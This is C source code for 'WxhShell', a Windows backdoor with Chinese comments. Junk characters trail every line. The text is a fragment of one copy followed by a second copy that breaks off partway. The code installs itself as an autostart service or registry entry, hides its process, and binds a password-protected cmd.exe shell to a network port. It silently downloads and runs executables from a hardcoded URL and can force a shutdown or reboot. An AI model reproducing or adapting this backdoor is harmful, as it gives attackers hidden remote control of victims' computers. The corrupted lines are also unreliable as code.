    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AY)R2> fW%  
    if(Boot(SHUTDOWN)) z.6I6IfL\L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j@778fvM\t  
    else { 0J5IO|1M  
    closesocket(wsh); j#D( </T  
    ExitThread(0); .'Rz tBv  
    } v_L?n7c  
    break; f`Wces=5  
    } YLkdT%  
  // 获取shell y|h:{<  
  case 's': { vIpitbFC  
    CmdShell(wsh); \ x>#bql+  
    closesocket(wsh); /`H{ n$  
    ExitThread(0); 34s>hm=0.  
    break; d.:.f_|  
  } a$2 WL g,  
  // 退出 a&)4Dv0  
  case 'x': { _a&Mk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <v+M~"%V  
    CloseIt(wsh); O tD!@GQ6  
    break; Q|&Wcxq2!  
    } cjyb:gAO  
  // 离开 $?Z-BD1  
  case 'q': { ,Jqk0cW2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VU ,tCTXz  
    closesocket(wsh); ("T8mt[w>  
    WSACleanup(); 6,j&u7  
    exit(1); Hr/3nq}.  
    break; -h1FrDBt  
        } YH-+s   
  } FTT=h0t  
  } Y1s3 >`  
jQRl-[n  
  // 提示信息 NoD\t(@h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !^_G~`r$2J  
}  Zzea  
  } t#sw{RO  
?CHFy2%Y  
  return; Zrm!,qs  
} J]mq|vE  
|:G`f8q9  
// shell模块句柄 $]I" ,ef  
int CmdShell(SOCKET sock) e(~Y!:Q#O  
{ \h UE, ^  
STARTUPINFO si; ; w+<yW}EL  
ZeroMemory(&si,sizeof(si)); HP G*o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g)UYpi?p-}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3X]\p}]z  
PROCESS_INFORMATION ProcessInfo; d`ESe'j:  
char cmdline[]="cmd"; 6j5?&)xJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g4=6\vg  
  return 0; ^_o9%)RL(  
} F]k$O$)0  
zbyJ5~  
// 自身启动模式 xjO((JC  
int StartFromService(void) s\dhQZw3  
{ $bo 5:c  
typedef struct /Q*cyLv  
{ m~U2 L  
  DWORD ExitStatus; eHQ3K#M#  
  DWORD PebBaseAddress; oNa*|CSE>  
  DWORD AffinityMask; WlfS|/\%V^  
  DWORD BasePriority; ~G#^kNme  
  ULONG UniqueProcessId; 8j%hxAV$  
  ULONG InheritedFromUniqueProcessId; "F8A:tR  
}   PROCESS_BASIC_INFORMATION; 8"2X 8C8  
/m+q!yi &  
PROCNTQSIP NtQueryInformationProcess; E])X$:P?  
dt=5 Pnf[y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dX>l"))yR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2%oo.?!R  
m(c5g[6nO  
  HANDLE             hProcess; pGhA  
  PROCESS_BASIC_INFORMATION pbi; 3t^r;b  
RiNKUk{-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j_Z"=  
  if(NULL == hInst ) return 0; FdVWj 5 $a  
+5C*i@v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )Og,VXEB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KtY_m`DY4R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ecl$z6'c  
qGgqAF#B  
  if (!NtQueryInformationProcess) return 0; EPMdR66  
oN/T>&d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n^m6m%J)  
  if(!hProcess) return 0; M.QXwIT  
+""8aA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JkMf+ !  
Mk"V%)1k  
  CloseHandle(hProcess); zZ\2fKrpg  
A! j4;=}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <u9U%V si  
if(hProcess==NULL) return 0; q<` g  
Q?\rwnW?U  
HMODULE hMod; Mb#-I GZ  
char procName[255];  V6{P41_  
unsigned long cbNeeded; T-L; iH~0  
,0=@cJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m+Bt9|d  
B U^3Ux$  
  CloseHandle(hProcess); ,'69RL?-Wg  
u  teI[Q  
if(strstr(procName,"services")) return 1; // 以服务启动 (&x#VmDL  
{}TR'Y4  
  return 0; // 注册表启动 R0v5mD$:G  
} hiN6]jL|O  
-{A!zTw1w  
// 主模块 9G'Q3? z  
int StartWxhshell(LPSTR lpCmdLine) D{!NTr  
{ e2 ?7>?  
  SOCKET wsl; !SFF 79$c  
BOOL val=TRUE; <Hq|<^_K  
  int port=0; X(;,-7Jw  
  struct sockaddr_in door; 8>sToNRNe  
h) . ([  
  if(wscfg.ws_autoins) Install(); oU.LYz_  
!Xbr7:UPN1  
port=atoi(lpCmdLine); -r!N; s$t  
%TA3o71  
if(port<=0) port=wscfg.ws_port; fEl,jA  
Yy"05V.  
  WSADATA data; |<n+6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k8;  
D%0GXUp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W&U Nk,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =N9a!i i|  
  door.sin_family = AF_INET; fi2@`37PM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n>Rt9   
  door.sin_port = htons(port); N:y3tpG  
6BJPQdqSl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LI&+5`  
closesocket(wsl); o!3-=<^  
return 1; ZMHb  
} :(|;J<R%_  
Ba\l`$%X  
  if(listen(wsl,2) == INVALID_SOCKET) { JRm:hf'  
closesocket(wsl); hK+Iow-  
return 1; P>dMET  
} 8W]6/st?]  
  Wxhshell(wsl); pOCLyM9c  
  WSACleanup(); ,4-)  e  
)k.[Ve  
return 0; XZv(B^  
~7W?W<  
} 5Z7<X2  
N%A[}Y0;MW  
// 以NT服务方式启动 v [_C^;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :/BU-SFK^  
{ L//Z\xr|  
DWORD   status = 0; n0T\dc~  
  DWORD   specificError = 0xfffffff; u(7PtmV[!  
@}K'Ic  
  serviceStatus.dwServiceType     = SERVICE_WIN32; McgTTM;E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L44/eyrp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3+<}Hm+  
  serviceStatus.dwWin32ExitCode     = 0; Xz'pZ*Hr$v  
  serviceStatus.dwServiceSpecificExitCode = 0; ?Mg&e/^  
  serviceStatus.dwCheckPoint       = 0; [=Y@Ul  
  serviceStatus.dwWaitHint       = 0; 1}C|Javkn  
k;w1y(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `4RraJj>0~  
  if (hServiceStatusHandle==0) return; u6A ReL 'f  
M%dXy^e  
status = GetLastError(); JRkC~fv  
  if (status!=NO_ERROR) Y{TzN%|LV  
{ m ?a&XZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %&+j(?9  
    serviceStatus.dwCheckPoint       = 0; &k /uR;yw  
    serviceStatus.dwWaitHint       = 0; 4+od N.  
    serviceStatus.dwWin32ExitCode     = status; 1Z?en  
    serviceStatus.dwServiceSpecificExitCode = specificError; /RuGh8qzP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  iK$)Iy0  
    return; 'b#`8k~>  
  } !e?GS"L~  
uoYG@L2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Cg/L/0Ak  
  serviceStatus.dwCheckPoint       = 0; 9pKN^FX,76  
  serviceStatus.dwWaitHint       = 0; JpEE'#r|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6 s{~9  
} U5]{`C0H?  
CBA MAr  
// 处理NT服务事件,比如:启动、停止 Wc4F'}s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S ni Ck*T,  
{ -aDGXQM{~  
switch(fdwControl) /vi>@a  
{ m]8rljo  
case SERVICE_CONTROL_STOP: L'LZK  
  serviceStatus.dwWin32ExitCode = 0; $9DV }  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _ cK"y2  
  serviceStatus.dwCheckPoint   = 0; IcMfZ {H1  
  serviceStatus.dwWaitHint     = 0; {)j3Pn  
  { `H6-g=C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5-M E Oy(  
  } b-8{bP]n  
  return; t<M^/xe2  
case SERVICE_CONTROL_PAUSE: V,<3uQD9a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #1i&!et&/  
  break; EELS-qA  
case SERVICE_CONTROL_CONTINUE: ,y}?Z 8?63  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7q<2k_3<  
  break; e`%U}_[d  
case SERVICE_CONTROL_INTERROGATE: @vdBA hXk  
  break; 'c3P3`o,;  
}; UI}v{05]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xJtblZ1sr  
} Z,%^BAJ  
6]yYiz2Xn  
// 标准应用程序主函数 l2"{uCcA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +jePp_3$O  
{  ")MjR1p  
> 4>!zZ  
// 获取操作系统版本 `0Y`]kSY+  
OsIsNt=GetOsVer(); -xS{{"-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #Hl0>"k ,  
=&RpW7]  
  // 从命令行安装 ;*^2,_  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5qzFH,  
.}n%gc~A  
  // 下载执行文件 0b%"=J2/p.  
if(wscfg.ws_downexe) { {3F;:%$`c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 45` i  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~Ts^z(v~D2  
} vt@5Hb)  
n$RhD93  
if(!OsIsNt) { qjQR0M C  
// 如果时win9x,隐藏进程并且设置为注册表启动  n4;  
HideProc(); '\8gY((7   
StartWxhshell(lpCmdLine); k%|7H,7  
} *Y"Kbn 6  
else o2  
  if(StartFromService()) XKD0n^L[  
  // 以服务方式启动 h.PVRAwk  
  StartServiceCtrlDispatcher(DispatchTable); `)Z"||8K  
else  J jRz<T;  
  // 普通方式启动 f%fD>a  
  StartWxhshell(lpCmdLine); 2Wwzcvs@  
@v^;,cu'8  
return 0; -`nQa$N-  
}  xE.K  
xj8 yQ Y1  
0$)uOUVJ  
HBHDu;u  
=========================================== \$GM4:R D  
5VD(fW[OW]  
!n9H[QP^9  
04ZP\  
}71a3EUK  
\ng!qN  
" `}t<5_  
qxKW% {6o  
#include <stdio.h> {j$:9  H  
#include <string.h> q<.m@q  
#include <windows.h> YJdM6   
#include <winsock2.h> 72uARF  
#include <winsvc.h> iI T7pq1  
#include <urlmon.h> RCM;k;@8V  
1vKAJ<4W  
#pragma comment (lib, "Ws2_32.lib") FXMrD,qVg  
#pragma comment (lib, "urlmon.lib") Qh*"B  
En01LrC?  
#define MAX_USER   100 // 最大客户端连接数 {m%]`0  
#define BUF_SOCK   200 // sock buffer {k BHZ$/  
#define KEY_BUFF   255 // 输入 buffer T<:mG%Is  
9e5XS\  
#define REBOOT     0   // 重启 je_:hDr  
#define SHUTDOWN   1   // 关机 = BcKWC  
[]^fb,5a  
#define DEF_PORT   5000 // 监听端口 jSi\/(E  
=.T50~+M  
#define REG_LEN     16   // 注册表键长度 Nfv.v1Tt+  
#define SVC_LEN     80   // NT服务名长度 @">^2  
UAleGR`,  
// 从dll定义API &CP]+ at  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N_jpCCG~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +H"[WZ5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jQ>~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $K& #R-  
'" MT$MrT  
// wxhshell配置信息 MTI[Mez  
struct WSCFG { 'M20v-[  
  int ws_port;         // 监听端口 {`RCh]W  
  char ws_passstr[REG_LEN]; // 口令 py \KY R  
  int ws_autoins;       // 安装标记, 1=yes 0=no )W,tL*9[  
  char ws_regname[REG_LEN]; // 注册表键名 m9~cQ!m  
  char ws_svcname[REG_LEN]; // 服务名 6:\0=k5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PB[ Y^q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a-[:RJW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B\WIoz;'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \%],pZsA~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tW$Di*h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d WKjVf  
wE*o1.  
}; 9):h %o  
oU|yBs1  
// default Wxhshell configuration :8( "n1^  
struct WSCFG wscfg={DEF_PORT, `^d[$IbDW  
    "xuhuanlingzhe", J}zN]|bz  
    1, \S5YS2,P  
    "Wxhshell", W20qn>{z  
    "Wxhshell", Qqm$Jl!  
            "WxhShell Service", 9:\#GOg  
    "Wrsky Windows CmdShell Service", @wVq%GG}  
    "Please Input Your Password: ", P5?M"j0/^  
  1, yj<j>JtN  
  "http://www.wrsky.com/wxhshell.exe", T:<mme3v  
  "Wxhshell.exe" }# cFr)4f  
    }; YRU1^=v  
@m`1Vq?O  
// 消息定义模块 y)//u:l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 77zfRSb+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0:C^-zrx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,ma4bqRMc  
char *msg_ws_ext="\n\rExit."; !tuN_  
char *msg_ws_end="\n\rQuit."; ^ "D  
char *msg_ws_boot="\n\rReboot..."; ;\mTm;]G  
char *msg_ws_poff="\n\rShutdown..."; %DQ!#Nl*  
char *msg_ws_down="\n\rSave to "; `4Db( ~  
A#;TY:D2  
char *msg_ws_err="\n\rErr!"; KkK !E  
char *msg_ws_ok="\n\rOK!"; V;N'?Gu  
5~!&x@  
char ExeFile[MAX_PATH]; 7my7|s[  
int nUser = 0; UngK9uB~  
HANDLE handles[MAX_USER]; ~;AJB  
int OsIsNt; .\rJ|HpZ1J  
1yK=Yf%B  
SERVICE_STATUS       serviceStatus; !C6[m1F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^X\{MW'>4  
AQ<2 "s  
// 函数声明 'uBagd>*  
int Install(void); W{!Slf  
int Uninstall(void); gH u!~l  
int DownloadFile(char *sURL, SOCKET wsh); %^qf0d*  
int Boot(int flag); m[w 8|[  
void HideProc(void); GZx?vSoHh  
int GetOsVer(void); h\<;N*Xi  
int Wxhshell(SOCKET wsl); IKs2.sj"o  
void TalkWithClient(void *cs); 6'a1]K  
int CmdShell(SOCKET sock); yt 5'2!jc  
int StartFromService(void); `VL<pqPP  
int StartWxhshell(LPSTR lpCmdLine); vyhxS.[9  
9{- Sa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6\5"36&/rQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mo*ClU7  
Ld4Jp`Zg  
// 数据结构和表定义 b%_[\((  
SERVICE_TABLE_ENTRY DispatchTable[] = +Rq7m]  
{ "k> ;K,:  
{wscfg.ws_svcname, NTServiceMain}, ~IQ2;A  
{NULL, NULL} IEj=pI   
}; ,b${3*PPQ  
n&fV^ x  
// 自我安装 w+Oo-AGNH  
int Install(void) {8im{]8_  
{ @ C"w 1}  
  char svExeFile[MAX_PATH]; ;p8,=w  
  HKEY key; Y'9<fSn5&  
  strcpy(svExeFile,ExeFile); (i)Ed9~F"  
L=v"5)m2R  
// 如果是win9x系统,修改注册表设为自启动 -egu5#d>  
if(!OsIsNt) { iS#m{1m$$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {0J (=\u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \f-HfYG  
  RegCloseKey(key); /9k}Ip  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _[p@V_my  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O{&wqV5m"  
  RegCloseKey(key); 7a#zr_r  
  return 0; 'kE^oX_  
    } ~'u %66  
  } 6i=Nk"d  
} /OsTZ"*.2/  
else {  1k39KO@  
]/TqPOi:  
// 如果是NT以上系统,安装为系统服务 ,]cb3nP   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |$QL>{81  
if (schSCManager!=0) Fq`wx  
{ _VFL}<i  
  SC_HANDLE schService = CreateService Z#_+yw  
  ( hcJny  
  schSCManager, RI0 +9YJ  
  wscfg.ws_svcname, noSBwP| v*  
  wscfg.ws_svcdisp, bqI| wGCA"  
  SERVICE_ALL_ACCESS, ?YA5g' l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?cmv;KV   
  SERVICE_AUTO_START, F qH@i Z  
  SERVICE_ERROR_NORMAL, zrazFI0G  
  svExeFile, Z:kX9vw.  
  NULL, nv-_\M   
  NULL, +jrMvk"  
  NULL, m L,El2  
  NULL, :978D0}{p  
  NULL jb {5   
  ); 6u-aV  
  if (schService!=0) YThFskRoO  
  { @K}8zMmW#  
  CloseServiceHandle(schService); 1 z5\>F  
  CloseServiceHandle(schSCManager); N^U<;O?YDW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $P7G,0-  
  strcat(svExeFile,wscfg.ws_svcname); H>Ws)aCq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t^(#~hx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1Yb9ILX[J  
  RegCloseKey(key); BdYl sYp  
  return 0; h6Q-+_5  
    } eK_Yt~dj  
  } }RPeAcbU_  
  CloseServiceHandle(schSCManager); _3{,nhkf:!  
} -mPrmapb3  
} /`YbHYNF[  
%m0x]  
return 1; 69tT'U3vb$  
} 7J$5dFV2  
wG2-,\:  
// 自我卸载 0Q= o"@  
int Uninstall(void) GK.U_`4?  
{ 8~s-@3J  
  HKEY key; MI<XLn!*  
z6 A`/ jF}  
if(!OsIsNt) { nbM7 >tnsk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .}||!  
  RegDeleteValue(key,wscfg.ws_regname); YkqauyV^  
  RegCloseKey(key); @Tl!A1y?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D|BP]j}6  
  RegDeleteValue(key,wscfg.ws_regname); |0A:0'uA!  
  RegCloseKey(key); z,#3YC{'  
  return 0; Me|+)}'p5h  
  } i@|.1dWh  
} xgQ]#{ tG  
} |Sf` Cs  
else { ^FZ7)T  
-ip fGb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zMI0W&P M  
if (schSCManager!=0) ( O>oN~  
{ OJH:k~]0!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6"UL+$k  
  if (schService!=0) dS[="Set  
  { c?1 :='MC  
  if(DeleteService(schService)!=0) { xw%'R-  
  CloseServiceHandle(schService); %hqhi@q#  
  CloseServiceHandle(schSCManager); NA`EG,2  
  return 0; U~Ai'1?xz  
  } $={WtR  
  CloseServiceHandle(schService); [va7+=[1=  
  } t<Z)D0.  
  CloseServiceHandle(schSCManager); \p&a c&]  
} $3C$])k  
} UIl^s8/  
F< #!83*%  
return 1; mp x/~`c  
} Gr a(DGX  
VSI.c`=,  
// 从指定url下载文件 yt-F2Z&  
int DownloadFile(char *sURL, SOCKET wsh) wc ! v /A  
{ L beMP  
  HRESULT hr; )5M9Ro7  
char seps[]= "/"; /`Wd+  
char *token; Hx]{'?   
char *file; .+"SDt oX  
char myURL[MAX_PATH]; T'TxC)  
char myFILE[MAX_PATH]; s`$px2Gw  
vs )1Rm  
strcpy(myURL,sURL); tt7l%olw  
  token=strtok(myURL,seps); 4gNF;  
  while(token!=NULL) Cq0S8Or0  
  { \I4*|6kA  
    file=token; Y=6b oT  
  token=strtok(NULL,seps); K)`\u7Bu  
  } L,F )l2  
#VwA?$4g`  
GetCurrentDirectory(MAX_PATH,myFILE); q;kN+NK64  
strcat(myFILE, "\\"); Wo^r#iRko  
strcat(myFILE, file); vG<JOxP  
  send(wsh,myFILE,strlen(myFILE),0); >iCkvQ  
send(wsh,"...",3,0); sO!YM5v8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Bi +a)_K  
  if(hr==S_OK) rl,6r u  
return 0; uW,L<;HnQ  
else ]o(&J7Z6-  
return 1; AwKxt'()^  
Czs4jHTa`  
} 62Ab4!  
gr/o!NC  
// 系统电源模块 Bkn- OG  
int Boot(int flag) S>]Jc$  
{ wghz[qe  
  HANDLE hToken; Q1Jkt  
  TOKEN_PRIVILEGES tkp; :q2tda  
cJ%u&2J_  
  if(OsIsNt) { .+H8c.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QPH2TXw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M-2:$;D  
    tkp.PrivilegeCount = 1; "$Wi SR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <9S?wju4W'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KJwkkCE/=  
if(flag==REBOOT) { I]`>m3SJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2wWL]`(E  
  return 0; z:aT5D  
} COw]1 R  
else { 9 GdrJ~h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `O5kI#m)L*  
  return 0; TXi$Q%0W  
} *XmOWV2Y_  
  } +|OkT  
  else { 0 mWfR8h0  
if(flag==REBOOT) { ] =jnt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3:rH1vG.m  
  return 0; j/bebR}X  
} >8 V;:(nt  
else { .,K?(O4AY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,~Y5vnaOQ  
  return 0; b&g9A{t  
} 62}bs/%  
} &Z+a (  
)>ed6A1  
return 1; %<e\s6|P:  
} HRx%m1H  
BEM+FG  
// win9x进程隐藏模块 'nNw  
void HideProc(void) Y.?|[x0Wh  
{ <G59>H5  
a$MMp=p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ] t|KFk!)  
  if ( hKernel != NULL ) FeS6>/  
  { -/aDq?<<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j=)%~@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P Z-|W  
    FreeLibrary(hKernel); %Hu Qc^  
  } S\Qh#y FT  
=VlO53Hy{  
return; /|y3M/;F  
} &b}!KD1  
|,]#vcJP#b  
// 获取操作系统版本 *?gn@4Ly  
int GetOsVer(void) VG'oy  
{ /D_8uTS>d[  
  OSVERSIONINFO winfo; Dd*T5A?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HPAg1bV:-  
  GetVersionEx(&winfo); -9{}rE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y}"|J ~  
  return 1; `"m"qUd  
  else gv; =Yhw.c  
  return 0; J%xp1/= 2  
} .9 WUp>  
M6!kn~  
// 客户端句柄模块 ~aH*ZA*f  
int Wxhshell(SOCKET wsl)  'TV^0D"  
{ )%C482GO-  
  SOCKET wsh; J=TbZL4y}4  
  struct sockaddr_in client; B4&@PX"'>,  
  DWORD myID; r{kV*^\E  
r3w.$  
  while(nUser<MAX_USER) DB_ x  
{ 71Ssk|L  
  int nSize=sizeof(client); 9U58#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /U)w:B+p/g  
  if(wsh==INVALID_SOCKET) return 1; +U^dllL7  
ap\2={u^|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2?ZH WS>U  
if(handles[nUser]==0) lw? f2_fi  
  closesocket(wsh); w"-bO ~5h  
else /w!b2KwV  
  nUser++; @?K(+BGi  
  } >}<:5gZtA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v>g1\y Iw  
XFmnZpqXH  
  return 0; AY0o0\6cw  
} f9JD_hhP'  
s.KJYP  
// 关闭 socket vsoj] R$C  
void CloseIt(SOCKET wsh) [_qBp:_j?s  
{ ,^|+n()O  
closesocket(wsh); ]-)qL[Q  
nUser--; 8&ZUkDGkJ  
ExitThread(0); pZGs o  
} 5cyl:1Ln  
K]@^8e$(  
// 客户端请求句柄 t2+m7*76  
void TalkWithClient(void *cs) X!,Ngmw.  
{ -H.;73Kb[  
'y}A3 RqN  
  SOCKET wsh=(SOCKET)cs; 1&QI1fvx  
  char pwd[SVC_LEN]; %9BC%w]y  
  char cmd[KEY_BUFF]; C-_u; NEu  
char chr[1]; Qkqn~>  
int i,j; 6! g3Juh  
Dw[w%uz  
  while (nUser < MAX_USER) { h+.^8fPR   
V85a{OBm,8  
if(wscfg.ws_passstr) { tq@<8?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Li Qs;$V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wGISb\rr  
  //ZeroMemory(pwd,KEY_BUFF); ffm19B=  
      i=0; AGCqJ8`|T  
  while(i<SVC_LEN) { RPaB4>  
|=38t8Ge&  
  // 设置超时 o|alL-  
  fd_set FdRead; v1 oSf  
  struct timeval TimeOut; jK I+-s  
  FD_ZERO(&FdRead); Rl3KE)<  
  FD_SET(wsh,&FdRead); V%y kHo  
  TimeOut.tv_sec=8; e@0wF59  
  TimeOut.tv_usec=0; [Bpgb57En  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +#Ov9b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )_.@M '?  
_V:D7\Gs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S~/iH Xm  
  pwd=chr[0]; Ylt[Ks<2  
  if(chr[0]==0xd || chr[0]==0xa) { %F&j B  
  pwd=0; g:;v]   
  break; ,{8~TVO  
  } LUo3y'  
  i++; .Ji r<"*<  
    } P$]Vb'Fz  
oi"Bf7{  
  // 如果是非法用户,关闭 socket z0g]nYN%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5/P?@`/ eT  
} S*#y7YKI  
30<dEoF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "-<u.$fE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o{UwUMw5`  
3O#7OL68v  
while(1) { 4sZ^:h,1  
>454Yir0Mk  
  ZeroMemory(cmd,KEY_BUFF); X dB#+"[  
 & .(ZO]  
      // 自动支持客户端 telnet标准   7Zu!s]t  
  j=0; e>z7?"N  
  while(j<KEY_BUFF) { \3)%p('  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,~G _3Oz  
  cmd[j]=chr[0]; CF42KNq  
  if(chr[0]==0xa || chr[0]==0xd) { y62;&{?m  
  cmd[j]=0; ItOVx!"@9  
  break; i,4JS,82I  
  } 7BI0g@$Nn]  
  j++; G =< KAJ  
    } SC|cCK hqi  
Z[({; WtF  
  // 下载文件 7)_0jp~2  
  if(strstr(cmd,"http://")) { }E/L:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e@8I%%V,  
  if(DownloadFile(cmd,wsh)) S$JM01  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sL&u%7>Re  
  else ;xth#j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #v(+3Hp  
  } ' {:(4>&  
